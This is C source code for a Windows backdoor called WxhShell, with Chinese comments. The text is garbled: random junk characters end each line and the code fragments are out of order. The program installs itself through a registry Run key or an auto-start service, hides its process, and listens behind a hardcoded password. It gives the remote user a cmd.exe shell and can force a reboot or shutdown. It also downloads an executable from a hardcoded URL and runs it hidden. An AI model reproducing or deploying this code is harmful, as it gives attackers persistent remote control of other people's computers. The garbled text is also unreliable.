    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oTx>oM,  
    if(Boot(SHUTDOWN)) HLQ> |,9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DiGHo~f  
    else { T3LVn<Lm\  
    closesocket(wsh); ]2YC7  
    ExitThread(0); fRq+pUx U  
    } 0A-yQzL|  
    break; #lMC#Ld  
    } ,_s.amL3O{  
  // 获取shell fjY:u,5V_  
  case 's': { %LD(S*>7  
    CmdShell(wsh); mn*}U R  
    closesocket(wsh); PZO.$'L|7  
    ExitThread(0); %oWG"u  
    break; y&bZai8WlE  
  } e+:X%a4\  
  // 退出 A/"2a55  
  case 'x': { 'St?nW3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /Ak\Q5O'3  
    CloseIt(wsh); <0? r# }  
    break; rY8(`a  
    } ZkO2*;  
  // 离开 ?M6)O?[  
  case 'q': { f( 5; Rf(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); esq~Ehr=  
    closesocket(wsh); BOP7@D  
    WSACleanup(); RLzqpE<rJ  
    exit(1); W\ mgM2p  
    break; 0)7v _|z  
        } #p]V?  
  } Z9q4W:jyS  
  } .mcohfR  
S%B56|'  
  // 提示信息 Ye$; d ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7G*rxn"d  
} Gm\)1b  
  }  Z'l!/l!  
U<>@)0~7g!  
  return; ZS=;)  
} q&_\A0  
[_(uz,'  
// shell模块句柄 BUV4L5(  
int CmdShell(SOCKET sock) % 4t?X  
{ N U+PG`Vb  
STARTUPINFO si; y>#kT  
ZeroMemory(&si,sizeof(si)); \I^"^'CP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y7+n*|H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D:?"Rf{)  
PROCESS_INFORMATION ProcessInfo; 9I$} =&"  
char cmdline[]="cmd"; :eT\XtxM~{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fY?:SPR+  
  return 0; EyA(W;r.  
} qR_Np5nHF  
}Kp$/CYd  
// 自身启动模式 % tC[q   
int StartFromService(void) 3gD <!WI  
{ 2X*n93AQi  
typedef struct b?VByJl  
{ 7/_|/4&  
  DWORD ExitStatus; ;!lwB  
  DWORD PebBaseAddress; Gpcordt/  
  DWORD AffinityMask; PR x-0S  
  DWORD BasePriority; &; p}HL,  
  ULONG UniqueProcessId; g1_z=(i`Z  
  ULONG InheritedFromUniqueProcessId; ?^MH:o  
}   PROCESS_BASIC_INFORMATION; 6@3v+Vf'  
!!8;ZcL}Z  
PROCNTQSIP NtQueryInformationProcess; ZX.,<vumSy  
g& f)WQ(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -3wid1SOm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g_k95k3V'  
b'` XFB#V  
  HANDLE             hProcess; B1s&2{L6K  
  PROCESS_BASIC_INFORMATION pbi; -[pfLo  
^eefR5^_w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G#@#j]8  
  if(NULL == hInst ) return 0; o4@d,uIw^  
iT s" RW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :#_k`{WG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #7]>ozKm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \ bWy5/+  
wZbT*rU  
  if (!NtQueryInformationProcess) return 0; $sZ4r>-  
Z#[%JUYp'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +ZGH  
  if(!hProcess) return 0; k6GQH@y!  
xDSiTp=)O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qW|h"9sr  
heB![N0:  
  CloseHandle(hProcess); fA0wQz]u  
4 >H0a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U3v~R4  
if(hProcess==NULL) return 0; T+rym8.p  
wV{j CQ  
HMODULE hMod; <:N$ $n  
char procName[255]; )8n?.keq  
unsigned long cbNeeded; w40*vBz  
nw_|W)JVQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +ut%C.1  
z|Xt'?9&n  
  CloseHandle(hProcess); Z0D&ayzkh^  
T nyLVIP  
if(strstr(procName,"services")) return 1; // 以服务启动 dVGcth;  
NS+uiy  
  return 0; // 注册表启动 -em3 #V  
} q$IU!I4  
M19 5[]  
// 主模块 TaKHr$h  
int StartWxhshell(LPSTR lpCmdLine) .L^;aL  
{ eI|~neh  
  SOCKET wsl; YnDaB px  
BOOL val=TRUE; MrOtsX  
  int port=0; ^L Xr4  
  struct sockaddr_in door; D62'bFB^  
mUR[;;l  
  if(wscfg.ws_autoins) Install(); 7Wiwnv_"  
O8rd*+  
port=atoi(lpCmdLine); |Xd& aQ  
sk0/3X*Q%  
if(port<=0) port=wscfg.ws_port; vp d!|/  
g u' +kw  
  WSADATA data; 7)Tix7:9S;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,5K&f\  
|L-- j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I>-}ys`[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *]kE3  
  door.sin_family = AF_INET; r.:f.AY{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q?L*Luu+  
  door.sin_port = htons(port);  wJvk  
\S~<C[P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n iB<h  
closesocket(wsl); b Hy<`p0  
return 1; [ei5QSL |  
} I9U 8@e!X  
B8up v~U 6  
  if(listen(wsl,2) == INVALID_SOCKET) { ?q5HAIZ`  
closesocket(wsl); JKCV >k  
return 1; Vt9o8naz  
} mcQ\"9;pY  
  Wxhshell(wsl); 6jl{^dI  
  WSACleanup(); AJRiwP|H+  
}2Im?Q  
return 0; 8-K4*(-dL  
{z'Gg  
} YsO`1D  
Rob: W|  
// 以NT服务方式启动 aIWpgUd`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (ijO|%?  
{ MU N:}S  
DWORD   status = 0; =3,Sjme  
  DWORD   specificError = 0xfffffff; nXxnyom,  
)%!X,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yG>sBc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $ WWi2cI;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I&x69  
  serviceStatus.dwWin32ExitCode     = 0; Ww{-(Ktx  
  serviceStatus.dwServiceSpecificExitCode = 0; O9p^P%U"  
  serviceStatus.dwCheckPoint       = 0; a<V Mh79*  
  serviceStatus.dwWaitHint       = 0; 52.hJNq#L  
VrFI5_M/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mj y+_  
  if (hServiceStatusHandle==0) return; o%Qn%gaX  
wo^1%:@/2  
status = GetLastError(); ^$lsmF]^  
  if (status!=NO_ERROR) o`}8ZtD  
{ 2TaHWw<A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hrOp9|!m  
    serviceStatus.dwCheckPoint       = 0; 2L1Azx  
    serviceStatus.dwWaitHint       = 0; 8}^ym^H|j  
    serviceStatus.dwWin32ExitCode     = status; `k08M)  
    serviceStatus.dwServiceSpecificExitCode = specificError; TR{dNO!q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ayA_[{j%X  
    return; :!,.c $M  
  } 81wmKqDEs  
eA/}$.R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a6o p  
  serviceStatus.dwCheckPoint       = 0; A?c?(~9O  
  serviceStatus.dwWaitHint       = 0; Gs}lw'pK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  6AmFl<  
} l02aXxT)]  
P$G|o|h  
// 处理NT服务事件,比如:启动、停止 W8!8/ IZbN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lx~mn~;x  
{ lt}U,p,S  
switch(fdwControl) ra\|c>[%  
{ WF <*rl  
case SERVICE_CONTROL_STOP: It^_?oiK  
  serviceStatus.dwWin32ExitCode = 0; }HZ'i;~r|9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KhbbGdmfS$  
  serviceStatus.dwCheckPoint   = 0; ;{cl*EN  
  serviceStatus.dwWaitHint     = 0; 'zTa]y]a  
  { 5d82Ms  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f<3r;F7  
  } 0 f"M-x  
  return; >[g'i+{  
case SERVICE_CONTROL_PAUSE: 7jF2m'(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2?owXcbx  
  break; oga0h'  
case SERVICE_CONTROL_CONTINUE: 5wMEp" YHE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; faI4`.i  
  break; {*4Z9.2c*  
case SERVICE_CONTROL_INTERROGATE: \V.U8asfI  
  break; _]=, U.a=/  
}; UX<0/"0h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T}A{Xu*:+H  
} o/\z4Ri)$  
h$fC/Juit  
// 标准应用程序主函数 |n&EbOmgf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^kj%Ekt7  
{ ,1e@Y~eZ  
>(a/K2$*1  
// 获取操作系统版本 HLM"dmI   
OsIsNt=GetOsVer(); I~Z m**L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9L9mi<,  
<i1P~  
  // 从命令行安装 q0 8  
  if(strpbrk(lpCmdLine,"iI")) Install(); $d7{q3K&1  
S8Yh>j8-  
  // 下载执行文件 r.zJ/Tk  
if(wscfg.ws_downexe) { +UP?M4g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \t@|-`  
  WinExec(wscfg.ws_filenam,SW_HIDE); T?FR@. Rm  
} n?A;'\cK  
"mkTCR^]e  
if(!OsIsNt) { ,cFp5tV$  
// 如果时win9x,隐藏进程并且设置为注册表启动 (tP^F)}e5  
HideProc(); u8@>ThPD  
StartWxhshell(lpCmdLine); $(%t^8{a~G  
} sQe>LNp,G  
else 5=Y\d,SS"  
  if(StartFromService()) bDPT1A`F  
  // 以服务方式启动 gs77")K&  
  StartServiceCtrlDispatcher(DispatchTable); /-ky'S9  
else  Z@`HFZJ  
  // 普通方式启动 E^. =^bR  
  StartWxhshell(lpCmdLine); PK* $  
b%,`;hy{  
return 0; -f:uNF]Ls  
} {z}OZHJN  
Au/n|15->C  
1%6}m`3  
CR$5'#11)  
=========================================== mWM!6"  
ZK]C!8\2|  
|bz,cvlP W  
+P<LoI  
+<H)DPG<  
-.E<~(fad  
" hw&R .F  
*l^%7W rk  
#include <stdio.h> 4<&`\<jZ  
#include <string.h> ;=6~,k)  
#include <windows.h> 3J}bI {3  
#include <winsock2.h> OsR4oT  
#include <winsvc.h> fW4N+2  
#include <urlmon.h> fz8eL:i:  
cf0D q~G  
#pragma comment (lib, "Ws2_32.lib") o3l_&?^  
#pragma comment (lib, "urlmon.lib") Xu:S h<:R  
MLcc   
#define MAX_USER   100 // 最大客户端连接数 3l 0>  
#define BUF_SOCK   200 // sock buffer j{9sn,<:  
#define KEY_BUFF   255 // 输入 buffer S0Y$$r  
BS;_l"?  
#define REBOOT     0   // 重启 ~V"D|U;i +  
#define SHUTDOWN   1   // 关机 .~6p/fHX  
DO$jX 4  
#define DEF_PORT   5000 // 监听端口 Dw^d!%Ala  
]|[oL6"  
#define REG_LEN     16   // 注册表键长度 ;Z"6ve4  
#define SVC_LEN     80   // NT服务名长度 ;p#)z/zZ  
MI@id  
// 从dll定义API ?j8F5(HF?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B@l/'$G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;%AK< RT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xS`>[8?3<T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g Xvuv^  
/AP@Bhm  
// wxhshell配置信息 F"3PP ~  
struct WSCFG { oToUpkAI  
  int ws_port;         // 监听端口 @%K@oDL  
  char ws_passstr[REG_LEN]; // 口令 (&FSoe/!['  
  int ws_autoins;       // 安装标记, 1=yes 0=no Cv|ya$}a  
  char ws_regname[REG_LEN]; // 注册表键名 Q%(LMq4UG  
  char ws_svcname[REG_LEN]; // 服务名 .3&zP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BXVmt!S5F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Sf)VQ5U!Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2mbZ6'p {  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4*_9Gl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M yr [  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5 d S5,  
: \w\K:  
}; @ Sw[+`  
]dc^@}1bN  
// default Wxhshell configuration A\_cGM2  
struct WSCFG wscfg={DEF_PORT, 2hl'mRW  
    "xuhuanlingzhe", 5~CHj  
    1, WLEjRx  
    "Wxhshell", uHUicZf.  
    "Wxhshell", V7!x-E/  
            "WxhShell Service", C9U~lcIS  
    "Wrsky Windows CmdShell Service", *S_eYKSl  
    "Please Input Your Password: ", Dg4 ?,{c9W  
  1, rm NqS+t  
  "http://www.wrsky.com/wxhshell.exe", p UWj,&t  
  "Wxhshell.exe" Zycu3%JI  
    }; z)r)w?A  
bH&Cbme90-  
// 消息定义模块 w3c[t~R8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DJ;G0*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d$/BF&n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U&|=dH]-  
char *msg_ws_ext="\n\rExit."; GM{m(Y  
char *msg_ws_end="\n\rQuit."; ^Pf FW  
char *msg_ws_boot="\n\rReboot..."; [Zk|s9  
char *msg_ws_poff="\n\rShutdown..."; PWOV~ `^;  
char *msg_ws_down="\n\rSave to "; e7ixi^Q  
G@anY=D\EB  
char *msg_ws_err="\n\rErr!"; )%U&z>^P  
char *msg_ws_ok="\n\rOK!"; 9Nglt3J[  
<1Vz QH!o  
char ExeFile[MAX_PATH]; 1_THBL26d  
int nUser = 0; oBQr6-nZ  
HANDLE handles[MAX_USER]; 4,T!zT6&  
int OsIsNt; E@aR5S>  
%zyO}  
SERVICE_STATUS       serviceStatus; B i?DmrH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vDz)q  
Hm4:m$=p4  
// 函数声明 +s c|PB  
int Install(void); J.mEOo!>  
int Uninstall(void); &""~Pn8  
int DownloadFile(char *sURL, SOCKET wsh); K.n #;|  
int Boot(int flag); L{;q^  
void HideProc(void); qCn(~:  
int GetOsVer(void); <XX\4[wb  
int Wxhshell(SOCKET wsl); Sb+pB58&N  
void TalkWithClient(void *cs); l)fF)\|;=  
int CmdShell(SOCKET sock); a%7ju4CVj  
int StartFromService(void); Z16G  
int StartWxhshell(LPSTR lpCmdLine); WaQCq0Enj  
/NaI Mo 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c$Js<[1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?&ThMWl  
jm'(t=Ze  
// 数据结构和表定义 SJ;u,XyWn  
SERVICE_TABLE_ENTRY DispatchTable[] = T+zZOI  
{ wX" 6 S:  
{wscfg.ws_svcname, NTServiceMain}, .R;HH_  
{NULL, NULL} UHF.R>Ry  
}; ` ZXX[&C  
G*ZHLLO4S\  
// 自我安装 &F*s.gL  
int Install(void) B@` 87  
{ R4u=.  
  char svExeFile[MAX_PATH]; 0#KDvCBJ  
  HKEY key; J5}-5sV^  
  strcpy(svExeFile,ExeFile); C] qY  
2f16 /0J@  
// 如果是win9x系统,修改注册表设为自启动 7^#f<m;Ar!  
if(!OsIsNt) { eyy{z;D8r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u[dR*o0'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ey=(B'A~  
  RegCloseKey(key); M2_sxibI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jzSh|a9_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P Ig)h-w?  
  RegCloseKey(key); <ZxxlJS)6  
  return 0; k:Sxs+)?1  
    } (m4`l_  
  } 2Otd  
} W)ihk\E  
else { Wo2TU!  
8i=J(5=  
// 如果是NT以上系统,安装为系统服务 2ixg ix  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }BS.OK?  
if (schSCManager!=0) %*lOzC  
{ t&^9o $  
  SC_HANDLE schService = CreateService ]tL9y<  
  ( PuqT&|wP l  
  schSCManager, ehl) {Dd^  
  wscfg.ws_svcname, -$J\BkI  
  wscfg.ws_svcdisp, #"fBF/Q  
  SERVICE_ALL_ACCESS, /Y:&307q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RrRrB"!8nR  
  SERVICE_AUTO_START, N_lQz(nG/2  
  SERVICE_ERROR_NORMAL, 3t5`,R1@t  
  svExeFile, u;p{&\(]  
  NULL, s3kHNDdC  
  NULL, b26#0;i  
  NULL, ~UX@%0%)N  
  NULL, (wU<Kpt?J  
  NULL B> *zQb2:  
  ); O%;H#3kn&s  
  if (schService!=0) %eB0 )'  
  { y{+$B Y$_  
  CloseServiceHandle(schService); :2iNw>z1  
  CloseServiceHandle(schSCManager); ,3 &XV%1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X@|'#%  
  strcat(svExeFile,wscfg.ws_svcname); 2%i_SX[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G=/a>{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a7s+l=  
  RegCloseKey(key); C']TO/2q  
  return 0; z^$DXl@)h  
    } Yb\t0:_  
  } wl1i @&9  
  CloseServiceHandle(schSCManager); htX;"R&  
} ?pn<lW8d  
} D*BZp0x  
.|iMKRq  
return 1; iZ % KHqG  
} h3D~?Iom  
\fIGMoy!  
// 自我卸载 AVf'"~?  
int Uninstall(void) 'g.9 goQ  
{ YyEW}2  
  HKEY key; 8+K=3=05#U  
_jg&}HM  
if(!OsIsNt) { u :AKp<'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xDU>y  
  RegDeleteValue(key,wscfg.ws_regname); lx$]f)%~  
  RegCloseKey(key); ivDmPHj{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6x|"1 G{  
  RegDeleteValue(key,wscfg.ws_regname); ' RK .w^  
  RegCloseKey(key); ~sj'GEhEg  
  return 0; `!WtKqr%B  
  } X-2rC  
} a,g3 /  
} s\i:;`l:=5  
else { |& OW_*l  
|^9+c2   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =<Q_&_.60  
if (schSCManager!=0) 7Mq4$|qhD  
{ q)vdDdRe_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zmd,uhNc:  
  if (schService!=0) )a"rj5~-  
  { .XDY1~w0  
  if(DeleteService(schService)!=0) { U$jw8I'.  
  CloseServiceHandle(schService); D#Qfa!=g  
  CloseServiceHandle(schSCManager); afrU>#+"  
  return 0; +Tz Z   
  } =OY&;d!C  
  CloseServiceHandle(schService); z{XN1'/V  
  } &c!d}pU}  
  CloseServiceHandle(schSCManager); 8axz`2`  
} !-%fCg(B  
} I3sH8/*  
gwVfiXR4  
return 1; n[DQ5l  
} & D@/_m $  
:'1UX <&B  
// 从指定url下载文件 lO=+V 6  
int DownloadFile(char *sURL, SOCKET wsh) MO}J  
{ dQP7CP  
  HRESULT hr; qZw4"&,j$  
char seps[]= "/"; pkTg.70wU  
char *token; GjTj..G/  
char *file; Pf,S`U w;  
char myURL[MAX_PATH]; VG FWF3s  
char myFILE[MAX_PATH]; 8/q6vk><  
j7r!N^  
strcpy(myURL,sURL); $p_FrN{  
  token=strtok(myURL,seps); ]j.=zQP?'  
  while(token!=NULL) j{}-zQ]n  
  { A8Z2o\+  
    file=token; Cwo(%Wc  
  token=strtok(NULL,seps); 9 {&APxm  
  } },1**_#<Br  
vn oI.;H,  
GetCurrentDirectory(MAX_PATH,myFILE); rb8c^u#r  
strcat(myFILE, "\\"); )gM3,gSS  
strcat(myFILE, file); ifA=qn0=}  
  send(wsh,myFILE,strlen(myFILE),0); Qdepzo>E  
send(wsh,"...",3,0); m ,B,dqT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dzA5l:5  
  if(hr==S_OK) IX/FKSuq  
return 0; $BIQ# T>qK  
else *qx<bY@F  
return 1; 9{OH%bF  
Eu%19s; u  
} CR*9-Y93  
Cjvgf .>$  
// 系统电源模块 $lJu2omi1  
int Boot(int flag) agQ5%t#  
{ -Vj'QqZ  
  HANDLE hToken; 9a.r(W[9  
  TOKEN_PRIVILEGES tkp; NpmPm1Ix .  
Ub1?dk   
  if(OsIsNt) { Y-8qAF?SJ]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5Gj?'Wov9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _-NS-E  
    tkp.PrivilegeCount = 1; XBJ9"G5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R<r"jOd]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L,@O OBD  
if(flag==REBOOT) { c k~gB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >)Ih[0~M  
  return 0; 8 I'1~d%$  
} XTIRY4{ d  
else { lHYu-}TNP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R'E8>ee; ^  
  return 0; Y~RZf /`  
} 7V/yU5  
  } $D,m o2I  
  else { doR'E=Z4h  
if(flag==REBOOT) { +{%@kX<V_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) + n1jP<[<N  
  return 0; ^iaeY jI  
} vBUl6EmWu  
else { OtopA)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B x(+uNQ  
  return 0; )p.+39]{2  
} >M` swEj  
} eYL7G-3  
X^3 0a*sj  
return 1; YK# QH"}  
} `_2#t1`u  
+MQvq\%tG  
// win9x进程隐藏模块 7f4R5c  
void HideProc(void) q.(p.uD  
{ >40B Fxc  
Q:LyD!at  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^q"wd?((h  
  if ( hKernel != NULL ) T[$Sbz`  
  { `1%SXP1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Df_W>QC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &`7~vA&c  
    FreeLibrary(hKernel); (vIrXF5Dnj  
  } I3Sl>e(Z  
 1fbd/-h  
return; fgxsC7P$  
} 4'BzW Z;_a  
`R@24 )  
// 获取操作系统版本 lY}mrb  
int GetOsVer(void) 39!o!_g  
{ ^H+j;K{5,  
  OSVERSIONINFO winfo; @LY 5]og  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $,k SR}  
  GetVersionEx(&winfo); O$ i6r]j_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;(w=}s%]+  
  return 1; ` w Sg/  
  else ";~}"Yz?[  
  return 0; ]\nG1+ta  
} GS{:7%=j  
7YbI|~  
// 客户端句柄模块 Q:+Y-&||"  
int Wxhshell(SOCKET wsl) K*J8(/WkD  
{ $52Te3n  
  SOCKET wsh; sF;1)7]Pq  
  struct sockaddr_in client; +N[dYm  
  DWORD myID; Xi5kE'_  
yZ:|wxVY  
  while(nUser<MAX_USER) cFLu+4.jsG  
{ 6,G^iv6H  
  int nSize=sizeof(client); Y,D\_il_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {s8''+Q#(-  
  if(wsh==INVALID_SOCKET) return 1; 'D(Hqdr;:  
n#3y2,Ml  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pmCBe6n \l  
if(handles[nUser]==0) i/xPO  
  closesocket(wsh); &3{:h  
else :kZ2N67  
  nUser++; p!'wOThO`  
  } z@y* jT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]_BG"IR!..  
"EpE!jh  
  return 0; 17D167\X  
} }sy3M rb  
sSG]I%oB3  
// 关闭 socket :yT~.AK}>1  
void CloseIt(SOCKET wsh) @ x*#7Y  
{  v )7d  
closesocket(wsh); (I.uQP~H  
nUser--; D.Cm&  
ExitThread(0); P[P!WLr""  
} n E-=7S L  
b&~uK"O'7d  
// 客户端请求句柄 #Mbt%m  
void TalkWithClient(void *cs) !^axO  
{ #bu`W!p}  
4v2(YJ%u  
  SOCKET wsh=(SOCKET)cs; (kp}mSw  
  char pwd[SVC_LEN]; >\DXA)nc  
  char cmd[KEY_BUFF]; qUtVqS  
char chr[1]; 0nie>  
int i,j; D3.sR\Hxf  
%n}.E30 4  
  while (nUser < MAX_USER) { BpP\C!:^  
!+)$;`  
if(wscfg.ws_passstr) { `*oLEXYN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tjs-+$P+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bT{P1nUu  
  //ZeroMemory(pwd,KEY_BUFF); !W$Br\<  
      i=0; 62(WZX%b  
  while(i<SVC_LEN) { |P?8<8p  
<2cq 0*$  
  // 设置超时 l}Xmm^@)  
  fd_set FdRead; [JAd1%$3  
  struct timeval TimeOut; h]EXD   
  FD_ZERO(&FdRead); 3C,e>zE}  
  FD_SET(wsh,&FdRead); ==FzkRA)  
  TimeOut.tv_sec=8; /@#)j( eY/  
  TimeOut.tv_usec=0; ]}v`#-Px(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rW\~sTH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T)C  
}Xc|Z.6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CKBi-q FH  
  pwd=chr[0]; }= <!j5:  
  if(chr[0]==0xd || chr[0]==0xa) { LnJ7i"Q  
  pwd=0; coLn};W2  
  break; 0>e>G(4(8  
  } P;_dil G  
  i++; }p- %~ Y  
    } 5Rec}H  
RmNF]"3%  
  // 如果是非法用户,关闭 socket vY;Lc   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {Zseu$c  
} ;%k%AXw  
t#pY2!/T3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ' xi..  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I(7gmCV  
shn-Es*  
while(1) { +?@qu x!  
v<c Hx/  
  ZeroMemory(cmd,KEY_BUFF); dJ&s/Z/>E  
>y8Z{ALQ5  
      // 自动支持客户端 telnet标准   3o^V$N.  
  j=0; 57MoO  
  while(j<KEY_BUFF) { \U-5&,fP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &YMVoyVD  
  cmd[j]=chr[0]; Y-{spTI  
  if(chr[0]==0xa || chr[0]==0xd) { WI~%n  
  cmd[j]=0; l|up3A3)  
  break; L+kS8D<  
  } a0LX<}   
  j++; "Q J-IRt &  
    } '+QgZ>q"  
JWdG?[$  
  // 下载文件 /nmfp&@  
  if(strstr(cmd,"http://")) { mn4;$1~e>H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #62ww-E~  
  if(DownloadFile(cmd,wsh)) T a[74;VO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <A&R%5Vs  
  else *oWzH_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =N0cz%  
  } a|53E<5X  
